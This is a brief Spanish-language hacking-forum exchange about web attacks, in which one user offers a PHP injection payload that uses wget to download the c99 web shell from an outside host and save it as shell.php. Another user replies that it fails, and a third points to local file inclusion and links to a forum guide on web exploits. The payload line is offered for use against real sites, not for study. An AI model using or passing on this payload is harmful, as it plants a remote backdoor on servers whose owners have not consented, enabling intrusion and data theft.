use este comando con el Tamper date
<? system('wget www.xxx.com/c99.txt -o shell.php');?>
no funciona
Si es LFI no te funcionara :xD!!!
mira la sección LFI
http://foro.elhacker.net/nivel_web/diccionario_informatico_sobre_bugs_y_exploits_en_nivel_web_v10-t264007.0.html